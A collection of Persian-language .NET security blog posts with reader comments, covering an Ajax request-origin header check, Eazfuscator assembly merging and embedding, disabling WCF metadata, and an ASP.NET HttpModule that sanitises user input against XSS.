NX support (amd64, 32-bit app)	N	OptOut	OptOut	OptOut
NX support (amd64, 64-bit app)	N	AlwaysOn	AlwaysOn	AlwaysOn
NX support (ia64)	N/A	AlwaysOn	AlwaysOn	AlwaysOn
ASLR				
Randomization support				
Images	N	N	OptIn	OptIn
Stacks	N	N	OptIn	OptIn
Heaps	N	N	Y	Y
PEBs/TEBs	N	Y	Y	Y
Entropy (bits)				
Images	0	0	8	8
Stacks	0	0	14	14
Heaps	0	0	5	5
PEBs/TEBs	0	4	4	4
APIs				
SetProcessDEPPolicy support	N	N	Y	Y

نظرات خوانندگان

نویسنده: Mohammad Shams Javi
تاریخ: ۱۳۹۰/۰۱/۲۵ ۱۵:۳۷:۴۶

جالب بود

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۲۶ ۰۸:۵۲:۳۱

Microsoft Security Development Lifecycle (SDL) - Version 5.1

عنوان: بررسی امنیتی، حین استفاده از jQuery Ajax
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۱۵ ۱۸:۲۵:۰۰
آدرس: www.dotnettips.info
گروه‌ها: Security

چندین نمونه استفاده از jQuery Ajax در ASP.NET Webforms را در این سایت می‌توانید پیدا کنید؛ برای مثال:

بارگذاری یک یوزرکنترل با استفاده از جی‌کوئری
بررسی وجود نام کاربر با استفاده از jQuery Ajax در ASP.Net
استفاده از افزونه‌ی jQuery Autocomplete در ASP.NET
jQuery Ajax و نحوه صحیح ارسال مقادیر به یک وب سرویس
استفاده از jQuery Ajax جهت تعیین اعتبار یک فرم

سؤالی که در تمام این موارد حائز اهمیت است این مورد می‌باشد که "از کجا متوجه شوم وب سرویس مورد استفاده واقعا توسط اسکریپت سایت جاری فراخوانی شده و نه توسط یک برنامه‌ی خارجی؟"

در اینجا می‌توان از سورس‌های ASP.NET MVC کمک گرفت : (+). همان متد IsAjaxRequest را در ASP.NET Webforms هم می‌شود استفاده کرد:

```
public static bool IsAjaxRequest(this HttpRequestBase request)
{
  if (request == null)
  {
      throw new ArgumentNullException("request");
  }

   return (request["X-Requested-With"] == "XMLHttpRequest") ||
             ((request.Headers != null) && (request.Headers["X-Requested-With"] == "XMLHttpRequest"));
}
```

حاصل IsAjaxRequest باید در ابتدای تمام درخواست‌های رسیده بررسی شود. البته باید دقت داشت که این بررسی را به آسانی می‌توان دور زد (چون بر اساس هدرهای رسیده است)، اما باز هم بهتر از هیچ نوع نظارتی می‌باشد.

نظرات خوانندگان

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۱۵ ۱۸:۴۱:۱۲

جهت تکمیل: در اینجا HttpRequestBase همان HttpContext.Current.Request می‌باشد.

نویسنده: ایمان اسلامی
تاریخ: ۱۳۹۱/۰۴/۱۳ ۲۰:۸

با تشکر از مطالب پر بارتون
مهندس جهت تکمیل این بحث و کامل شدن مسئله امنیتی می‌توان این مطلب شما را نیز به عنوان تکمیل کننده این بحث در نظر گرفت؟
حذف هدرهای مربوط به وب سرور از یک برنامه‌ی ASP.Net

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۱۳ ۲۰:۱۴

حذف هدر وب سرور بیشتر جهت مقابله با اسکنرهای خودکار می‌تونه کاربرد داشته باشه و عموم این اسکنرها هم کاری به Ajax ندارند یا درکی از آن ندارد (تا جایی که بررسی کردم).

نویسنده: ایمان اسلامی
تاریخ: ۱۳۹۱/۰۴/۱۳ ۲۰:۲۰

پس برای تکمیل این بحث که نقطع ضعفش طبق اشاره شما همان هدرهای رسیده می‌باشد نظارت دیگری هم میشه انجام داد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۱۳ ۲۰:۳۳

هدر رسیده نقطه ضعف نیست. نقطه قوت است. چون بر اساس آن (تا حدودی) مشخص می‌شود که مرورگر درخواست را ارسال کرده یا یک ربات.
بررسی referrer هم خوب است.
بررسی host ارسال کننده درخواست هم مفید است. تمام این‌ها در هدرهای رسیده لحاظ می‌شوند.

نویسنده: ایمان اسلامی
تاریخ: ۱۳۹۱/۰۴/۱۳ ۲۳:۳۷

ممنونم.مثل همیشه عالی.

نویسنده: خیام
تاریخ: ۱۳۹۲/۱۱/۲۵ ۲:۳۲

برای اینکه کاملا مطمئن بشیم که وب سرویس توسط اسکریپت سایت جاری فراخوانی میشه ، بجز این روشی که شما فرمودین راه دیگه ای هست ؟ با توجه به گفته شما باز هم راه برای دور زدن آن هست و اینکه خود ASP.NET MVC چطور مدیریت کامل روی این موضوع دارد ؟

به نظر شما استفاده از هندلرها در چنین مواقعی که مثلن قرار است از بانک اطلاعاتی واکشی داشته باشیم بهتر است ؟ یا همان وب سرویس استفاده کنیم ؟

نویسنده: وحید نصیری

تاریخ: ۱۳۹۲/۱۱/۲۵ ۹:۱۲

- علاوه بر مطلب و نکاتی که در کامنت‌ها مطرح شده، روش استفاده از آنتی‌فورجری توکن هم مفید است. ترکیبی است از یک فیلد مخفی به همراه یک کوکی رمزنگاری شده.
- بهتر است بجای این‌ها از ASP.NET Web API استفاده کنید.

عنوان: **یکی کردن اسمبلی‌ها با استفاده از Eazfuscator**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۱۸ ۱۰:۳۲:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

نسخه جدید برنامه Eazfuscator به همراه دو قابلیت جالب یکی کردن و همچنین مدفون نمودن اسمبلی‌ها ارائه شده است:

یکی کردن چند اسمبلی با هم

Eazfuscator برای یکی کردن اسمبلی‌ها از برنامه معروف ILmerge استفاده می‌کند با این تفاوت که دیگر نیازی نیست تا پارامترهای آن‌را تنظیم کرد و بسیاری از مسایل را به صورت خودکار مدیریت می‌کند.
جهت فعال کردن این قابلیت، یکی از روش‌های کار به صورت زیر است:
فایلی به نام ObfuscationSettings.cs را به پروژه خود اضافه کرده، سپس محتویات آن‌را حذف نموده و با چند سطر زیر جایگزین و کامپایل کنید:

```
using System;
using System.Reflection;

[assembly: Obfuscation(Feature = "merge with file1.dll", Exclude = false)]
[assembly: Obfuscation(Feature = "merge with file2.dll", Exclude = false)]
[assembly: Obfuscation(Feature = "merge with file3.dll", Exclude = false)]
```

همانطور که ملاحظه می‌کنید این چند سطر حاوی نام اسمبلی‌هایی می‌باشند که قرار است با اسمبلی جاری یکی شوند.
سپس اسمبلی جاری را (می‌خواهد فایل exe باشد یا یک dll ، فرقی نمی‌کند) بر روی Eazfuscator کشیده و رها کنید. پس از چند لحظه اسمبلی نهایی تولید شده شامل تمام کلاس‌ها و منابع اسمبلی‌هایی خواهد بود که در فایل ObfuscationSettings.cs ذکر شده‌اند؛ به همراه Obfuscation خودکار آن‌ها.

مدفون کردن اسمبلی‌ها در یک اسمبلی

قابلیت دیگر این برنامه دفن (embedding) چند اسمبلی در اسمبلی نهایی است. برای فعال سازی آن روش کار همانند قبل است با این تفاوت که بجای merge with باید نوشت embed . برای مثال:

```
[assembly: Obfuscation(Feature = "embed Common.dll", Exclude = false)]
```

به این ترتیب اسمبلی‌های ذکر شده پس از رمزنگاری و فشرده شدن به صورت منابع اسمبلی جاری ذخیره خواهند شد. مدیریت استفاده از آن‌ها هم خودکار است و نیازی نیست تا کاری در این مورد صورت گیرد.
برای نمونه برنامه معروف LINQPad از همین روش استفاده می‌کند و لازم به ذکر است که ... هنوز که هنوز است هیچ ک.ر.ک.
کارسازی برای فعال سازی قسمت intellisense آن که رایگان نیست ارائه نشده و تمام وصله‌های جدید ارائه شده کار نمی‌کنند ...

تفاوت مدفون کردن با یکی کردن چیست؟

در حالت یکی کردن اسمبلی‌ها، سربار اولیه بارگذاری برنامه همانند روش مدفون سازی وجود ندارد. اما این سربار آنقدر ناچیز است که کسی آن‌را احساس نخواهد کرد. مورد دیگر، عدم پشتیبانی از روش مدفون سازی در سایر سکوهای کاری مانند ویندوز فون، Compact Framework و غیره است. اما باید درنظر داشت که برای مثال ILMerge روی اسمبلی‌های دارای XAML کار نمی‌کند (مطابق مستندات رسمی آن). بنابراین همیشه نمی‌توان از روش یکی سازی استفاده کرد و محدودیت‌های خاص خودش را دارد.
در کل روش مدفون سازی به دلیل Obfuscation ، فشرده سازی و رمزنگاری همزمان، امنیت بیشتری را نسبت به حالت Obfuscation تنها ارائه می‌دهد (حداقل شخص "علاقمند" به مطالعه این نوع اسمبلی‌ها باید از چند لایه رد شود و تجربه برنامه

LINQPad ثابت کرده که این روش در مقیاس کلان (در انظار عمومی هزاران علاقمند) بسیار موفق بوده است).

نظرات خوانندگان

نویسنده: Mohsen Aghamohammadi
تاریخ: ۱۳۹۰/۰۱/۱۹ ۲۰:۰۶:۴۶

جناب نصیری اطلاعی از الگوریتم های رمزنگاری اسمبلی ها موجود است؟آیا از روش های کلید عمومی و خصوصی با الگوریتم های
RSA
یا
MD5
ممکن است استفاده گردد یا صرفا روشها بازگشت پذیرند؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۱۹ ۲۰:۲۰:۲۳

پاسخ به این سؤال نیاز به مهندسی معکوس دارد ولی عموما از روش‌های متقارن رمزنگاری استفاده می‌شود

عنوان: روش از کار انداختن صفحه‌ی Add service reference در VS.NET
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۲۸ ۱۷:۰۹:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

در جهت تکمیل بحث " بررسی امنیتی، حین استفاده از jQuery Ajax "، یک مورد دیگر را هم می‌توان اضافه کرد: چگونه صفحه‌ی معروف Add service reference را در VS.NET جهت سرویس WCF خود از کار بیندازیم؟
راه حل آن هم بسیار ساده است اما چون عموما در منابع مرتبط با جملات و کلمات بیش از حد فنی بیان می‌شود، شاید از دید دور مانده باشد:
اگر WCF Service تولیدی شما تنها قرار است توسط برنامه‌ی Silverlight یا جاوا اسکریپتی موجود در پروژه‌ی جاری مورد استفاده قرار گیرد، باید Meta Data مرتبط با آن سرویس را جهت بالابردن امنیت سیستم، حذف نمود. توسط این Meta Data می‌توان OperationContract ، ServiceContract و سایر اطلاعات یک WCF Service را استخراج نمود.

الف) روش غیر فعال کردن متادیتا در یک Ajax enabled WCF Service

به فایل وب کانفیگ برنامه مراجعه کرده و تغییر زیر را اعمال کنید:

```
...
    <behavior name="">
       <serviceMetadata httpGetEnabled="false" httpsGetUrl="false" />
...
    </behavior>
...
```

ب) روش غیرفعال کردن متادیتا در یک Silverlight enabled WCF Service

ابتدا قسمت الف را اعمال نموده سپس تغییر زیر را نیز لحاظ نمائید (IMetadataExchange به صورت کامنت درآمده):

```
<!-- <endpoint address="mex" binding="mexHttpBinding"
             contract="IMetadataExchange" /> -->
```

با این تغییرات ساده، گزینه‌ی Add service reference دیگر قابلیت تشخیص خودکار اطلاعات سرویس شما را نداشته و با یک خطا متوقف خواهد شد:

```
The HTML document does not contain Web service discovery information.
Metadata contains a reference that cannot be resolved.
```

سؤال:
1- آیا با این تغییر در عملکرد WCF سرویس ما اخلال ایجاد خواهد شد؟
پاسخ: خیر. تنها Web service discovery information را از کار انداخته‌ایم.
2- در صورت تغییر کدهای WCF Service چه باید کرد؟
پاسخ: اگر امضای متدها و اینترفیس‌های تعریف شده تغییری نداشته‌اند، لزومی به هیچ نوع تغییری نیست. در غیراینصورت، سریع موارد الف و ب فوق را به حالت اول برگردانده، کلاینت مورد استفاده را به روز کنید، مجددا متادیتا را حذف نمائید.

نظرات خوانندگان

نویسنده: Hamed Qannadi
تاریخ: ۱۳۹۰/۰۱/۲۸ ۲۳:۳۸:۱۲

با درود و خسته نباشید
استاد گرامی پرسشی داشتم
ما در سازمانمان نرم افزاری داریم که کاربران آن در Active directory تعریف شده اند.
برنامه با وب سرویس در ارتباط است که در یک سروری قرار گرفته است که آن سرور با یک سرور دیگر از طریق کابل شبکه در ارتباط است.
سرور دوم سروری است که پایگاه داده روی آن قرار گرفته است.
با توجه به اینکه با WCF کاربر جاری برنامه را می توان به دست آورد؛ ما کاربر جاری را تا سطح سرور 1 می آوریم ولی برای ارسال آن به اس کیو ال دو راه حل داریم.
راهی که هم اکنون از آن استفاده می کنیم این است که Connection string مان تک کاربره است و دیگر اینکه هم اکنون که کاربر جاری را داریم همان را با Connection string به سمت SQL بفرستیم و که در نتیجه گزارش گیری و مانیتورینگ بسیار خوبی خواهیم داشت. ولی باید همه کاربران در SQL تعریف شوند چون سرور پایگاه داده به دومین متصل نیست.

به نظر شما در صورتی که سرورهای نسبتاً خوبی از لحاظ سخت افزاری داشته باشیم و کاربرانی در حدود 2000 نفر به طور کلی و 200 نفر همزمان داشته باشیم، Connection string تک کاربره بهتر است یا چند کاربره؟

با سپاس فراوان

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۲۹ ۰۰:۴۱:۵۴

سلام
سوال شما مرتبط با بحث نیست (و مطابق معمول این موارد رو من حذف می‌کنم) ... فقط در حالت کلی این موارد را باید در نظر داشت:
استفاده از کاربران اکتیودایرکتوری به همراه برنامه‌های وب به شدت مشکل ساز است از این لحاظ که هر کاربر در اکتیو دایرکتوری با یک SID مشخص می‌شود و این SID تا زمانیکه کاربر تغییری نداشته (مثلا سرور کرش کرده، دوباره نصب شده یا کاربر حذف شده دوباره اضافه شده) معتبر است و در غیر اینصورت هرچند نام جدید با نام قبلی یکی است اما چون این SID یکی نیست، در برنامه دیگر شناسایی نخواهد شد (مشکل شایع کاربران شیرپوینت برای مثال). به عبارتی سیستم‌های تحت وب متکی بر تعیین اعتبار اکتیودایرکتوری تا زمانیکه کاربران آن حذف نشده‌اند ... خوب کار می‌کنند، اما، امان از روزی که مجبور به تعریف مجدد شوید. اینجا است که هیچ چیزی کار نمی‌کند (چون اکتیودایرکتوری فقط SID را می‌شناسد و نه اسم که فقط ظاهر کار است).
به همین جهت روش امنیتی Forms Authentication که قسمتی از آن تعریف کاربران در بانک اطلاعاتی است در دراز مدت برای شما مقرون به صرفه‌تر خواهد بود.

نویسنده: hamid
تاریخ: ۱۳۹۰/۰۱/۳۱ ۰۱:۱۶:۳۶

سلام آقای نصیری
لطفا در مورد polling duplex هم توضیح دهید

ممنون میشم

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۱/۳۱ ۰۸:۴۴:۲۱

همان behaviors.serviceBehaviors.behavior.serviceMetadata در مورد حالت دوپلکس هم صادق است به همراه مورد ب اگر از mex استفاده می‌شود

عنوان: **ویندوز 7 و SQL Server 2008 موفق به کسب گواهینامه امنیتی شدند**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۲/۰۸ ۰۹:۰۹:۰۰
آدرس: www.dotnettips.info
برچسب‌ها: Security

نرم افزارهای Windows 7, Windows Server 2008 R2 and SQL Server 2008 SP2 32 & 64 bit Enterprise Edition موفق به کسب گواهینامه امنیتی Common Criteria شدند. کسب این مجوز امنیتی یکی از شروط اصلی و اجباری استفاده از یک نرم افزار در وزارت دفاع آمریکا است.
این بررسی‌ها زیر نظر وزارت دفاع و آژانس امنیت ملی آمریکا و همچنین آلمان برگزار شده و گزارش‌های مرتبط با ویندوز 7 و SQL Server 2008 را از اینجا می‌توانید دریافت کنید: (+) و (+)

ماخذ: (+)

مطالب مشابه:
امنیت SQL Server 2008
مقایسه امنیتی نگارش‌های مختلف ویندوز

نظرات خوانندگان

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۲/۲۴ ۰۰:۴۴:۱۴

Using the Security Development Lifecycle Best Practices at Microsoft

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۲/۲۶ ۰۸:۳۴:۱۱

Microsoft_Security_Intelligence_Report

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۲/۲۸ ۰۰:۳۶:۳۰

SmartScreen® Application Reputation in IE9

عنوان: **مقابله با XSS ؛ یکبار برای همیشه!**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۲/۳۰ ۰۱:۱۹:۰۰
آدرس: www.dotnettips.info
گروه‌ها: Security

ASP.NET به صورت پیش فرض در مقابل ارسال هر نوع تگی عکس العمل نشان می‌دهد و پیغام خطای یافتن خطری بالقوه را گوشزد می‌کند. اما بین خودمان باشد، همه این قابلیت را خاموش می‌کنند! چون در یک برنامه واقعی نیاز است تا مثلا کاربران تگ html هم ارسال کنند. برای نمونه یک ادیتور متنی پیشرفته را درنظر بگیرید. خاموش کردن این قابلیت هم مساوی است با فراهم کردن امکان ارسال تگ‌های مجاز و در کنار آن بی دفاع گذاشتن برنامه در مقابل حملات XSS.

توصیه هم این است که همه جا از توابع مثلا HtmlEncode و موارد مشابه حتما استفاده کنید. ولی باز هم خودمونیم ... چند نفر از شماها اینکار را می‌کنید؟!

بهترین کار در این موارد وارد شدن به pipe line پردازشی ASP.NET و دستکاری آن است! اینکار هم توسط HttpModules میسر است. به عبارتی در ادامه می‌خواهیم ماژولی را بنویسیم که کلیه تگ‌های ارسالی کوئری استرینگ‌ها را پاک کرده و همچنین تگ‌های خطرناک موجود در مقادیر ارسالی فرم‌های برنامه را هم به صورت خودکار حذف کند. اما هنوز اجازه بدهد تا کاربران بتوانند تگ HTML هم ارسال کنند.

مشکل! در ASP.NET مقادیر ارسالی کوئری استرینگ‌ها و همچنین فرم‌ها به صورت NameValueCollection در اختیار برنامه قرار می‌گیرند و ... خاصیت IsReadOnly این مجموعه‌ها در حین ارسال، به صورت پیش فرض true است و همچنین غیرعمومی! یعنی به همین سادگی نمی‌توان عملیات تمیزکاری را روی مقادیر ارسالی، پیش از مهیا شدن آن جهت استفاده در برنامه اعمال کرد. بنابراین در ابتدای کار نیاز است با استفاده از قابلیت Reflection ، اندکی در سازوکار داخلی ASP.NET دست برد، این خاصیت فقط خواندنی غیرعمومی را برای مدت کوتاهی false کرد و سپس مقصود نهایی را اعمال نمود. پیاده سازی آن را در ادامه مشاهده می‌کنید:

```
using System;
using System.Collections.Specialized;
using System.Reflection;
using System.Text.RegularExpressions;
using System.Web;
using Microsoft.Security.Application;


namespace AntiXssMdl
{
  public class AntiXssModule : IHttpModule
  {
      private static readonly Regex _cleanAllTags = new Regex("<[^>]+>", RegexOptions.Compiled);
      public void Init(HttpApplication context)
      {
          context.BeginRequest += CleanUpInput;
      }


      public void Dispose()
      { }


      private static void CleanUpInput(object sender, EventArgs e)
      {
          HttpRequest request = ((HttpApplication)sender).Request;
          if (request.QueryString.Count > 0)
          {
              //تمیزکاری مقادیر کلیه کوئری استرینگ‌ها پیش از استفاده در برنامه
              CleanUpAndEncode(request.QueryString, allowHtmltags: false);
          }


          if (request.HttpMethod == "POST")
          {
              //تمیزکاری کلیه مقادیر ارسالی به سرور
              if (request.Form.Count > 0)
              {
                  CleanUpAndEncode(request.Form, allowHtmltags: true);
              }
```

```
            }
        }


        private static void CleanUpAndEncode(NameValueCollection collection, bool allowHtmltags)
        {
            //اندکی دستکاری در سیستم داخلی دات نت
            PropertyInfo readonlyProperty = collection
                                                .GetType()
                                                .GetProperty("IsReadOnly",
                                                             BindingFlags.Instance |
BindingFlags.NonPublic);
            readonlyProperty.SetValue(collection, false, null);//IsReadOnly=false


            for (int i = 0; i < collection.Count; i++)
            {
                if (string.IsNullOrWhiteSpace(collection[i])) continue;


                if (!allowHtmltags)
                {
                    //در حالت کوئری استرینگ دلیلی برای ارسال هیچ نوع تگی وجود ندارد
                    collection[collection.Keys[i]] =
                       AntiXss.HtmlEncode(_cleanAllTags.Replace(collection[i], string.Empty));
                }
                else
                {
                    //قصد تمیز سازی ویوو استیت را نداریم چون در این حالت وب فرم‌ها از کار می‌افتند
                    if (collection.Keys[i].StartsWith("__VIEWSTATE")) continue;
                    //در سایر موارد کاربران مجازند فقط تگ‌های سالم را ارسال کنند و مابقی حذف می‌شود
                    collection[collection.Keys[i]] = Sanitizer.GetSafeHtml(collection[i]);
                }
            }


            readonlyProperty.SetValue(collection, true, null);//IsReadOnly=true
        }
    }
}
```

در این کلاس از کتابخانه AntiXSS مایکروسافت استفاده شده است. آخرین نگارش آن‌را از اینجا دریافت نمائید. نکته مهم آن متد Sanitizer.GetSafeHtml است. به کمک آن با خیال راحت می‌توان در یک سایت، از یک ادیتور متنی پیشرفته استفاده کرد. کاربران هنوز می‌توانند تگ‌های HTML را ارسال کنند؛ اما در این بین هرگونه سعی در ارسال عبارات و تگ‌های حاوی حملات XSS پاکسازی می‌شود.

و یک وب کانفیگ نمونه برای استفاده از آن به صورت زیر می‌تواند باشد (تنظیم شده برای IIS6 و 7):

```
<?xml version="1.0"?>
<configuration>
<system.web>
  <pages validateRequest="false" enableEventValidation="false" />
  <httpRuntime requestValidationMode="2.0" />
  <compilation debug="true" targetFramework="4.0" />
  <httpModules>
    <add name="AntiXssModule" type="AntiXssMdl.AntiXssModule"/>
  </httpModules>
</system.web>


<system.webServer>
  <validation validateIntegratedModeConfiguration="false"/>
  <modules>
    <add name="AntiXssModule" type="AntiXssMdl.AntiXssModule"/>
  </modules>
</system.webServer>
</configuration>
```

برای مثال به تصویر زیر دقت کنید. ماژول فوق، فقط تگ‌های سبز رنگ را (حین ارسال به سرور) مجاز دانسته، اسکریپت ذیل لینک را کلا حذف کرده و تگ‌های موجود در کوئری استرینگ را هم نهایتا (زمانیکه در اختیار برنامه قرار می‌گیرد) حذف خواهد کرد.

دریافت نسخه جدید و نهایی این مثال

نظرات خوانندگان

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۲/۳۰ ۱۰:۰۰:۰۳

جهت تکمیل بحث،
موارد زیر هم باید به لیست صرفنظر شونده‌ها اضافه شوند (همانند همان سطر ViewState که در کد آمده)

,LASTFOCUS, __EVENTTARGET__
,EVENTARGUMENT, __VIEWSTATE, __SCROLLPOSITIONX, __SCROLLPOSITIONY__
VIEWSTATEENCRYPTED, __ASYNCPOST__

این مورد برای ASP.NET Webforms ضروری است اما برای ASP.NET MVC خیر.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۲/۳۰ ۱۰:۴۴:۰۱

مثال رو بر همین اساس به روز کردم که از همان آدرس قبلی آن قابل دریافت است.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۲/۳۱ ۱۰:۴۱:۳۷

مثال رو مجددا به روز کردم. تمیزکاری کوکی‌ها هم لحاظ شد. کلا این ماژول به ورودی‌های کاربر (کوکی‌ها (که با ابزار قابل تغییر هستند)، کوئری استرینگ‌ها و مقادیر ورودی در فرم‌ها حین ارسال به سرور) حساسیت دارد.

نویسنده: Ramin
تاریخ: ۱۳۹۰/۰۳/۰۱ ۱۴:۴۱:۳۰

مثل همیشه بی نقص و عالی بود ، واقعا بابت به اشتراک گذاری دانسته هایتان متشکرم

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۳/۰۲ ۱۹:۲۵:۲۰

کتابخانه امنیتی مایکروسافت خطوط جدید را حذف می‌کند: (+)
به همین جهت مثال مجددا به روز شد تا این مشکل وجود نداشته باشد

نویسنده: مقدسی
تاریخ: ۱۳۹۰/۰۳/۰۶ ۱۱:۳۲:۳۵

واقعآ متشکرم و خسته نباشید .

نویسنده: Orion
تاریخ: ۱۳۹۰/۰۳/۰۷ ۱۵:۱۷:۵۰

جناب نصیری. خیلی ممنون از این مطلب ارزشمندت. خیلی دنبالش بودم. فقط به یه مشکلی در Webformها برخوردم. اونم اینه که شما اگر کاراکتر ampersand در مثلاً تکست‌باکستون داشته باشید، استفاده از وب ماژول باعث خراب شدن نتیجه میشه. چیکارش میشه کرد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۰/۰۳/۰۷ ۱۸:۳۸:۰۰

کاری که ماژول مایکروسافت انجام می‌ده علاوه بر حذف موارد زائد، تبدیل متن به XHTML استاندارد است و همچنین اعمال انواع و اقسام encoding؛ به همین جهت این نوع تبدیلات رو شما مشاهده می‌کنید ولی ... مطلوب کار ما نیست. در کل به خاطر این مسایل من ماژول مایکروسافت رو کنار گذاشتم (هر چند از لحاظ تشخیص حملات عالی است اما فعلا قابل تنظیم نیست و یک ضرب هر کاری که دوست دارد انجام می‌دهد). از یک روش دیگر استفاده کردم که سبک‌تر است و این مشکلات را هم ندارد (+) . این روش بر اساس white list عمل می‌کند. یعنی می‌گه یک سری تگ html از نظر من مجاز است و مابقی خطرناک‌ها همه باید حذف شوند.
مثال به روز شد لطفا آن‌را دریافت کنید.

نویسنده: Milad Bahari
تاریخ: ۱۳۹۰/۰۳/۲۵ ۱۳:۱۲:۰۸

بسیار عالی، می دونید مشکل اصلی اینجاست که توسعه دهنده ها دو قانون ساده رو فراموش می کنند. الف) پاک سازی ورودی و سپس استفاده ب) پاک سازی خروجی و سپس استفاده

نویسنده: جلال
تاریخ: ۱۳۹۱/۰۳/۲۹ ۱۳:۳۸

سلام
بابت به اشتراک گذاری سورس این ماژول ممنون. اما گویا این ماژول نشت حافظه داره. شما در تابع Dispose اشاره گر به تابع رو حذف نکردید. از اونجایی که IModule اشاره گری به HttpApplication نداره بنابراین من اونو از تابع Init گرفتم

```
private HttpApplication _context = null;
public void Init(HttpApplication context)
{
   _context = context;
   _context.BeginRequest += CleanUpInput;
}
public void Dispose()
{
    _context.BeginRequest -= CleanUpInput;
}
```

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۳/۲۹ ۱۳:۴۹

طول عمر HttpModule با طول عمر HttpApplication یکی است. به این معنا که تنها یک وهله از آن در زمان آغاز برنامه وب تولید و این وهله به صورت خودکار در زمان پایان عمر برنامه وب (ری استارت شدن سرور، recycle شدن آن توسط IIS و مواردی از این دست)، dispose خواهد شد. بنابراین ضرورتی به پیاده سازی متد Dispose در اینجا وجود ندارد.
اگر این مدیریت طول عمر خودکار نمی‌بود، بله ... بهتر بود که اینکار انجام می‌شد.

نویسنده: جلال
تاریخ: ۱۳۹۱/۰۳/۲۹ ۱۴:۳

ممنون. تابحال HttpModule ننوشته بودم و از این موضوع خبر نداشتم. به هرحال تمرین خوبیه که همیشه رویدادها رو پس از اتمام کار در این نوع موارد Unsubscribe کنیم.

نویسنده: هادی دانش پژوه
تاریخ: ۱۳۹۱/۰۵/۲۳ ۱۲:۲۸

با سلام من تو ارسال نظرات کدی مینوسم که عبارت Script از متنی که کاربر ارسال کرده حذف بشه! آیا همین کافی نیست؟

نویسنده: وحید نصیری

تاریخ: ۱۳۹۱/۰۵/۲۳ ۱۲:۳۶

خیر. موضوع پیچیده‌تر از این بررسی‌های ساده ابتدایی است. اطلاعات بیشتر (+) در مورد ورودی‌های پیچیده‌تر.

نویسنده: علی قشقایی
تاریخ: ۱۳۹۱/۰۵/۲۳ ۱۳:۸

در سطر اول فرمودید "همه این قابلیت را خاموش می‌کنند! ". این قابلیت رو چطور میشه خاموش کرد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۲۳ ۱۳:۱۵

به احتمال زیاد تابحال در برنامه‌های وب خودتون نیاز به ارسال html به همراه تگ‌های آن نداشتید، ولی در کل:
- غیرفعال کردن validateRequest در سطح یک صفحه

```
<%@ Page
Language="C#"
        AutoEventWireup="true"
        CodeBehind="editpage.aspx.cs"
        validateRequest="false"
        Inherits="MyProject.UI.editpage" %>
```

- در سطح کل برنامه

```
<system.web>
    <pages validateRequest="false" enableEventValidation="true" />
    <httpRuntime requestValidationMode="2.0" />
</system.web>
```

البته asp.net mvc از این لحاظ پیشرفته‌تر است؛ چون اجازه می‌ده در سطح یک خاصیت فقط این بررسی رو خاموش کرد با بکارگیری ویژگی AllowHtml آن.

نویسنده: علی قشقایی
تاریخ: ۱۳۹۱/۰۵/۲۳ ۱۵:۵۲

در فایل مثالی که قرار دادید از کتابخانه AntiXSS استفاده نشده!

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۲۳ ۱۶:۴۲

توضیح دادم اینجا

نویسنده: saman
تاریخ: ۱۳۹۱/۰۷/۱۹ ۹:۲۶

سلام جناب نصیری خیلی عالی بود. فقط یه سوال و درخواست داشتم . اگر براتون مقدور هست کد VB.net رو هم اینجا بذارین.
من کد رو تبدیل کردم ولی وقتی استفاده می‌کنم این پیغام رو میده :
("<A potentially dangerous Request.Form value was detected from the client (TextBox1="<script.

در حالی که Validate request رو False کردم.
و اینکه این کد روی VB9 اجرا نمیشه چون Collection رو ساپورت نمیکنه ولی VB10 مشکل نداره. راه حلی برای این موضوع هم دارین ؟
ممنونم ازتون

موفق باشید

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۷/۱۹ ۱۳:۲۲

این ماژول و کدهای اون رو به روز کردم و از اینجا قابل دریافت است:
HtmlCleaner.zip

تفاوت‌ها:
- برای دات نت سه و نیم کامپایل شده. فقط فایل dll رو به پروژه خودتون cs یا vb اضافه کنید.
- متد ToSafeHtml کلاس HtmlSanitizer برای کار با تگ‌های مشخص شده با حروف کوچک و بزرگ بهبود یافته (الان در همین سایت جاری استفاده می‌شود).
- الزامی نیست حتما از AntiXssModule آن استفاده کنید. کلا هرجایی که Allow Html دارید، متد ToSafeHtml را برای پاکسازی اطلاعات فراخوانی کنید (در MVC و یا در وب فرم‌ها).
- کلاس PersianProofWriter هم به آن اضافه شده (جزئی از ToSafeHtml است). یک سری از مسایل مانند نیم فاصله‌ها رو به صورت خودکار اصلاح می‌کند؛ به همراه اصلاح ی و ک فارسی.

به صورت خلاصه:
فقط از متد ToSafeHtml کلاس HtmlSanitizer آن به صورت دستی و در موارد لازم که HTML از کاربر دریافت می‌شود، استفاده کنید.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۷/۱۹ ۱۳:۳۰

- توضیحات رفع خطای فوق در اینجا: (^)
- نگارش DLL این پروژه که قابل استفاده در VB هم هست بدون نیاز به تبدیل کدها در اینجا: (^)

نویسنده: اردوان دژپناه
تاریخ: ۱۳۹۲/۰۹/۰۹ ۱۶:۶

